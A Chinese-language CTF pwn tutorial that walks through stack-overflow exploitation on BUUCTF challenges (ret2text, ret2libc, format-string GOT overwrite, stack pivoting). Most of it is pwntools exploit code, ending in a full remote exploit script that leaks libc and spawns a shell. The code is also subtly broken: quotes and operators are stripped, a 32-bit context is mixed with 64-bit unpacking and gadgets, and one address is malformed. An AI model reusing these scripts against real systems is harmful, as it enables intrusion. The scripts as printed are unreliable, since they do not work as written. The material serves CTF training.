BUUCTF Pwn 32题栈溢出实战:从ret2text到ret2libc的5种攻击模式解析 BUUCTF Pwn 32题栈溢出实战从ret2text到ret2libc的5种攻击模式解析1. 栈溢出基础与攻击模式概览栈溢出是二进制安全领域最经典的漏洞类型之一。当程序向栈上的缓冲区写入数据时如果未正确检查输入长度攻击者可以覆盖相邻的内存区域包括函数返回地址、局部变量等关键数据。在CTF Pwn题中栈溢出漏洞常出现在使用危险函数如gets、scanf、strcpy等的场景。常见栈溢出攻击模式对比表攻击模式适用场景核心原理技术难点ret2text程序中存在后门函数覆盖返回地址指向后门函数定位后门函数地址ret2shellcode可执行栈环境注入并执行自定义shellcodeshellcode编写与跳转控制ret2libc无后门但可调用系统函数利用libc函数构造ROP链动态链接库地址泄露格式化字符串存在printf等格式化函数利用%n等格式化符写内存精确控制写入位置与值栈迁移溢出空间不足转移栈帧到可控缓冲区布局新栈帧结构提示实际漏洞利用中常需要组合多种技术如先用格式化字符串泄露地址再用栈溢出构造ROP链。2. ret2text攻击实战ret2text是最基础的栈溢出利用技术适用于程序中已存在system(/bin/sh)或类似后门函数的情况。以下是典型利用步骤确定溢出点通过动态调试或计算确定填充长度# 计算padding长度示例 padding cyclic(100) # 生成测试模式 p.sendline(padding) # 触发崩溃 core p.corefile # 分析崩溃现场 offset cyclic_find(core.eip) # 计算精确偏移定位后门函数# 使用objdump查找后门函数 objdump -d ./pwn | grep call.*system构造payloadfrom pwn import * p process(./pwn) backdoor 0x0804867 # 后门函数地址 payload bA*offset p32(backdoor) p.sendline(payload) p.interactive()典型案例jarvisoj_level0存在callsystem后门函数gets函数导致栈溢出需要覆盖0x88字节后控制返回地址3. ret2libc高级利用当程序没有现成后门时需要通过libc动态链接库中的函数构造攻击链。关键步骤如下3.1 地址泄露技术泄露libc基址# 构造ROP链泄露puts函数地址 rop ROP(elf) rop.puts(elf.got[puts]) rop.call(elf.sym[main]) # 返回main以便二次利用 p.sendline(flat({offset: rop.chain()})) puts_addr u64(p.recvline().strip().ljust(8, b\x00))计算system地址libc ELF(/lib/i386-linux-gnu/libc.so.6) # 本地libc libc_base puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system] bin_sh libc_base next(libc.search(b/bin/sh))3.2 32位与64位差异架构参数传递栈对齐要求典型gadgetx86栈传递4字节对齐pop ebx; retx64寄存器传递16字节对齐pop rdi; ret64位ROP链示例rop ROP([elf, libc]) rop.raw(bA*offset) rop.call(rop.ret) # 栈对齐 rop.system(bin_sh)4. 格式化字符串漏洞利用格式化字符串漏洞不仅可泄露内存还能实现任意地址写。典型利用场景泄露栈数据payload b%7$p # 泄露第7个参数 p.sendline(payload) leak int(p.recvline(), 16)覆盖GOT表# 将exitgot覆盖为system地址 fmtstr fmtstr_payload(offset, {elf.got[exit]: system_addr}) p.sendline(fmtstr) p.sendline(/bin/sh) # 触发exit(/bin/sh)关键格式化符%p泄露指针%n写入已输出字符数%c控制输出字符数5. 栈迁移技术当溢出空间不足时可通过栈迁移扩大攻击面控制ebp寄存器leave_ret 0x080484d2 # leave; ret指令地址 fake_stack p32(system_addr) p32(0) p32(bin_sh) payload bA*offset p32(ebp-0x28) p32(leave_ret)布局新栈帧原始栈 [填充][旧ebp][返回地址] | v 迁移后栈 [system][返回地址][/bin/sh]6. 综合案例分析ciscn_2019_c_1这道题融合了多种技术通过ROP泄露libc地址二次溢出构造system调用处理栈对齐问题完整利用代码from pwn import * context(archi386, oslinux) # 第一阶段泄露地址 p remote(node4.buuoj.cn, 25827) elf ELF(./pwn) rop ROP(elf) rop.puts(elf.got[puts]) rop.call(elf.sym[main]) p.sendlineafter(bchoice!\n, b1) p.sendlineafter(bencrypted\n, flat({0x58: rop.chain()})) puts_addr u64(p.recvline()[:-1].ljust(8, b\x00)) # 第二阶段获取shell libc ELF(libc-2.27.so) libc.address puts_addr - libc.sym[puts] system libc.sym[system] bin_sh next(libc.search(b/bin/sh)) ret 0x08048196 # 对齐用gadget payload flat({ 0x58: [ ret, # 对齐 system, # 目标函数 0xdeadbeef, # 返回地址(无用) bin_sh # 参数 ] }) p.sendlineafter(bchoice!\n, b1) p.sendlineafter(bencrypted\n, payload) p.interactive()在实际漏洞利用过程中有几个关键点需要注意动态链接库版本差异可能导致偏移计算错误某些保护机制如栈不可执行会限制攻击方式输入过滤可能需要对payload进行特殊编码掌握这些栈溢出攻击模式后面对大多数CTF Pwn题都能快速找到突破方向。建议从简单题目入手逐步提升到综合题型同时多关注真实世界中的漏洞利用案例这对理解漏洞本质大有裨益。